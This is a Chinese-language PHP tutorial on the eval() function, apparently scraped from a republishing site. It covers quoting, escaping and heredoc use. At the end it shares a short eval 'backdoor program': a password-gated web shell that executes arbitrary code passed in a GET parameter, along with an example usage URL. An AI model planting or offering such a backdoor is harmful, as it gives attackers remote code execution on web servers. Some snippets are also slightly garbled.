PHP eval函數使用介紹_PHP教程

來源:互聯網
上載者:User
代碼:

複製代碼 代碼如下:
eval("echo'hello world';");

上邊代碼等同於下邊的代碼:

echo"hello world";

在瀏覽器中都輸出:hello world

運用eval()要注意幾點:

1.eval函數的參數的字串末尾一定要有分號,在最後還要另加一個分號(這個分號是php限制)

2.注意單引號,雙引號和反斜線的運用。如果參數中帶有變數時,並且變數有賦值操作的話,變數前的$符號錢一定要有\來轉義。如果沒有賦值操作可以不需要。

代碼:

複製代碼 代碼如下:
$a=100;
eval("echo$a;");

因為沒有賦值操作,所以可以不用\來轉義$.等同於以下代碼:

複製代碼 代碼如下:
$a=100;
eval("echo\$a;")

3.注意在命令式字串(包括分號)兩邊必須要有雙引號或者根據需要用單引號。否則報錯。

命令式字串是指:字串中包括echo、print之類的命令的時候。

如果參數只有一個變數則可以不用。例如:

複製代碼 代碼如下:
$func =<<function test(){
echo "test eval function";
}
FUNC;
eval($func);
test();

分享個php eval後門程式

要求必須支援eval函數
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

複製代碼 代碼如下:
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

http://www.bkjia.com/PHPjc/621693.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/621693.htmlTechArticle代碼: 複製代碼 代碼如下: eval("echo'hello world';"); 上邊代碼等同於下邊的代碼: echo"hello world"; 在瀏覽器中都輸出:hello world 運用eval()要注意...

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.